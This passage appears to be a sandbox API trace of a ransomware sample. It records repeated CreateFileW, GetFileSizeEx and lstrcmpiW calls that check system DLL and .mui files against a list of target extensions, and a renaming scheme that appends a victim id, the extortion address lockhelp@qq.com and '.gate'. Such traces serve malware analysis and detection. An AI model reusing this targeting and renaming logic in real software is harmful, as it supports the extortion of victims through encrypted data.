shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0281.998] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=7680) returned 1 [0281.998] CloseHandle (hObject=0x4b4) returned 1 [0281.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui")) returned 0x20 [0281.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0281.999] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0281.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0281.999] lstrlenW (lpString=".doc") returned 4 [0281.999] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0281.999] lstrlenW (lpString=".docx") returned 5 [0281.999] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0281.999] lstrlenW (lpString=".pdf") returned 4 [0281.999] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0281.999] lstrlenW (lpString=".xls") returned 4 [0281.999] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0281.999] lstrlenW (lpString=".xlsx") returned 5 [0281.999] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0281.999] lstrlenW (lpString=".ppt") returned 4 [0281.999] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0281.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0281.999] lstrlenW (lpString=".zip") returned 4 [0281.999] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0281.999] lstrlenW (lpString=".rar") returned 4 [0282.000] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0282.000] lstrlenW (lpString=".bz2") returned 4 [0282.000] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0282.000] lstrlenW (lpString=".7z") returned 3 [0282.000] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0282.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0282.000] lstrlenW (lpString=".dbf") returned 4 [0282.000] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0282.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0282.000] lstrlenW (lpString=".1cd") returned 4 [0282.000] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0282.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0282.000] lstrlenW (lpString=".jpg") returned 4 [0282.000] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0282.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0282.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0282.000] lstrlenW (lpString=".doc") returned 4 [0282.000] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0282.000] lstrlenW (lpString=".docx") returned 5 [0282.000] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0282.000] lstrlenW (lpString=".pdf") returned 4 [0282.000] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0282.000] lstrlenW (lpString=".xls") returned 4 [0282.000] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0282.000] lstrlenW (lpString=".xlsx") returned 5 [0282.000] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0282.001] lstrlenW (lpString=".ppt") returned 4 [0282.001] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0282.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0282.001] lstrlenW (lpString=".zip") returned 4 [0282.001] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0282.001] lstrlenW (lpString=".rar") returned 4 [0282.001] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0282.001] lstrlenW (lpString=".bz2") returned 4 [0282.001] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0282.001] lstrlenW (lpString=".7z") returned 3 [0282.001] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0282.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0282.001] lstrlenW (lpString=".dbf") returned 4 [0282.001] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0282.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0282.001] lstrlenW (lpString=".1cd") returned 4 [0282.001] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0282.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0282.001] lstrlenW (lpString=".jpg") returned 4 [0282.001] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0282.002] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0282.002] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0282.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0282.161] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=10240) returned 1 [0282.161] CloseHandle (hObject=0x404) returned 1 [0282.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui")) returned 0x20 [0282.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui") returned 72 [0282.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui") returned 72 [0282.161] lstrlenW (lpString=".doc") returned 4 [0282.161] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0282.161] lstrlenW (lpString=".docx") returned 5 [0282.161] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0282.161] lstrlenW (lpString=".pdf") returned 4 [0282.161] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0282.161] lstrlenW (lpString=".xls") returned 4 [0282.161] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0282.161] lstrlenW (lpString=".xlsx") returned 5 [0282.162] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0282.162] lstrlenW (lpString=".ppt") returned 4 [0282.162] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0282.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui") returned 72 [0282.162] lstrlenW (lpString=".zip") returned 4 [0282.162] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0282.162] lstrlenW (lpString=".rar") returned 4 [0282.162] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0282.162] lstrlenW (lpString=".bz2") returned 4 [0282.162] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0282.162] lstrlenW (lpString=".7z") returned 3 [0282.162] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0282.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui") returned 72 [0282.162] lstrlenW (lpString=".dbf") returned 4 [0282.162] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0282.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui") returned 72 [0282.162] lstrlenW (lpString=".1cd") returned 4 [0282.162] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0282.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui") returned 72 [0282.162] lstrlenW (lpString=".jpg") returned 4 [0282.162] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0282.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui") returned 72 [0282.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui") returned 72 [0282.162] lstrlenW (lpString=".doc") returned 4 [0282.162] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0282.163] lstrlenW (lpString=".docx") returned 5 [0282.163] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0282.163] lstrlenW (lpString=".pdf") returned 4 [0282.163] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0282.163] lstrlenW (lpString=".xls") returned 4 [0282.163] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0282.163] lstrlenW (lpString=".xlsx") returned 5 [0282.163] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0282.163] lstrlenW (lpString=".ppt") returned 4 [0282.163] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0282.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui") returned 72 [0282.163] lstrlenW (lpString=".zip") returned 4 [0282.163] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0282.163] lstrlenW (lpString=".rar") returned 4 [0282.163] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0282.163] lstrlenW (lpString=".bz2") returned 4 [0282.163] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0282.163] lstrlenW (lpString=".7z") returned 3 [0282.163] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0282.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui") returned 72 [0282.163] lstrlenW (lpString=".dbf") returned 4 [0282.163] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0282.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui") returned 72 [0282.163] lstrlenW (lpString=".1cd") returned 4 [0282.163] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0282.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui") returned 72 [0282.163] lstrlenW (lpString=".jpg") returned 4 [0282.164] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0282.164] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0282.164] lstrlenW (lpString="mraut.dll") returned 9 [0282.164] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0282.289] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=6368768) returned 1 [0282.289] CloseHandle (hObject=0x4a8) returned 1 [0282.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll")) returned 0x20 [0282.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.289] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0282.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0282.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0282.289] lstrlenW (lpString=".doc") returned 4 [0282.289] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0282.289] lstrlenW (lpString=".docx") returned 5 [0282.289] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0282.289] lstrlenW (lpString=".pdf") returned 4 [0282.289] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0282.289] lstrlenW (lpString=".xls") returned 4 [0282.289] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0282.289] lstrlenW (lpString=".xlsx") returned 5 [0282.289] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0282.289] lstrlenW (lpString=".ppt") returned 4 [0282.290] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0282.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0282.290] lstrlenW (lpString=".zip") returned 4 [0282.290] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0282.290] lstrlenW (lpString=".rar") returned 4 [0282.290] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0282.290] lstrlenW (lpString=".bz2") returned 4 [0282.290] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0282.290] lstrlenW (lpString=".7z") returned 3 [0282.290] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0282.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0282.290] lstrlenW (lpString=".dbf") returned 4 [0282.290] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0282.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0282.290] lstrlenW (lpString=".1cd") returned 4 [0282.290] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0282.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0282.290] lstrlenW (lpString=".jpg") returned 4 [0282.290] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0282.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0282.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0282.290] lstrlenW (lpString=".doc") returned 4 [0282.290] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0282.290] lstrlenW (lpString=".docx") returned 5 [0282.290] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0282.290] lstrlenW (lpString=".pdf") returned 4 [0282.291] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0282.291] lstrlenW (lpString=".xls") returned 4 [0282.291] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0282.291] lstrlenW (lpString=".xlsx") returned 5 [0282.291] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0282.291] lstrlenW (lpString=".ppt") returned 4 [0282.291] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0282.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0282.291] lstrlenW (lpString=".zip") returned 4 [0282.291] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0282.291] lstrlenW (lpString=".rar") returned 4 [0282.291] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0282.291] lstrlenW (lpString=".bz2") returned 4 [0282.291] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0282.291] lstrlenW (lpString=".7z") returned 3 [0282.291] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0282.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0282.291] lstrlenW (lpString=".dbf") returned 4 [0282.291] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0282.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0282.291] lstrlenW (lpString=".1cd") returned 4 [0282.291] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0282.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0282.291] lstrlenW (lpString=".jpg") returned 4 [0282.291] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0282.291] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0282.291] lstrlenW (lpString="mshwLatin.dll") returned 13 [0282.291] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0282.583] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=1075712) returned 1 [0282.583] CloseHandle (hObject=0x4b4) returned 1 [0282.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll")) returned 0x20 [0282.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.583] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64 [0282.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64 [0282.583] lstrlenW (lpString=".doc") returned 4 [0282.583] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0282.583] lstrlenW (lpString=".docx") returned 5 [0282.583] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0282.583] lstrlenW (lpString=".pdf") returned 4 [0282.584] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0282.584] lstrlenW (lpString=".xls") returned 4 [0282.584] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0282.584] lstrlenW (lpString=".xlsx") returned 5 [0282.584] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0282.584] lstrlenW (lpString=".ppt") returned 4 [0282.584] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0282.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64 [0282.584] lstrlenW (lpString=".zip") returned 4 [0282.584] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0282.584] lstrlenW (lpString=".rar") returned 4 [0282.584] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0282.584] lstrlenW (lpString=".bz2") returned 4 [0282.584] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0282.584] lstrlenW (lpString=".7z") returned 3 [0282.584] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0282.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64 [0282.584] lstrlenW (lpString=".dbf") returned 4 [0282.584] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0282.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64 [0282.584] lstrlenW (lpString=".1cd") returned 4 [0282.584] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0282.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64 [0282.584] lstrlenW (lpString=".jpg") returned 4 [0282.584] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0282.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64 [0282.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64 [0282.584] lstrlenW (lpString=".doc") returned 4 [0282.584] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0282.584] lstrlenW (lpString=".docx") returned 5 [0282.584] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0282.584] lstrlenW (lpString=".pdf") returned 4 [0282.584] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0282.585] lstrlenW (lpString=".xls") returned 4 [0282.585] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0282.585] lstrlenW (lpString=".xlsx") returned 5 [0282.585] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0282.585] lstrlenW (lpString=".ppt") returned 4 [0282.585] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0282.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64 [0282.585] lstrlenW (lpString=".zip") returned 4 [0282.585] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0282.585] lstrlenW (lpString=".rar") returned 4 [0282.585] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0282.585] lstrlenW (lpString=".bz2") returned 4 [0282.585] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0282.585] lstrlenW (lpString=".7z") returned 3 [0282.585] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0282.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64 [0282.585] lstrlenW (lpString=".dbf") returned 4 [0282.585] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0282.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64 [0282.585] lstrlenW (lpString=".1cd") returned 4 [0282.585] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0282.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64 [0282.585] lstrlenW (lpString=".jpg") returned 4 [0282.585] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0282.585] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0282.585] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0282.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0282.935] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=10240) returned 1 [0282.935] CloseHandle (hObject=0x4b4) returned 1 [0282.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui")) returned 0x20 [0282.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.935] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0282.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0282.935] lstrlenW (lpString=".doc") returned 4 [0282.935] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0282.935] lstrlenW (lpString=".docx") returned 5 [0282.935] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0282.935] lstrlenW (lpString=".pdf") returned 4 [0282.935] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0282.935] lstrlenW (lpString=".xls") returned 4 [0282.935] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0282.936] lstrlenW (lpString=".xlsx") returned 5 [0282.936] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0282.936] lstrlenW (lpString=".ppt") returned 4 [0282.936] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0282.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0282.936] lstrlenW (lpString=".zip") returned 4 [0282.936] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0282.936] lstrlenW (lpString=".rar") returned 4 [0282.936] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0282.936] lstrlenW (lpString=".bz2") returned 4 [0282.936] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0282.936] lstrlenW (lpString=".7z") returned 3 [0282.936] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0282.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0282.936] lstrlenW (lpString=".dbf") returned 4 [0282.936] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0282.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 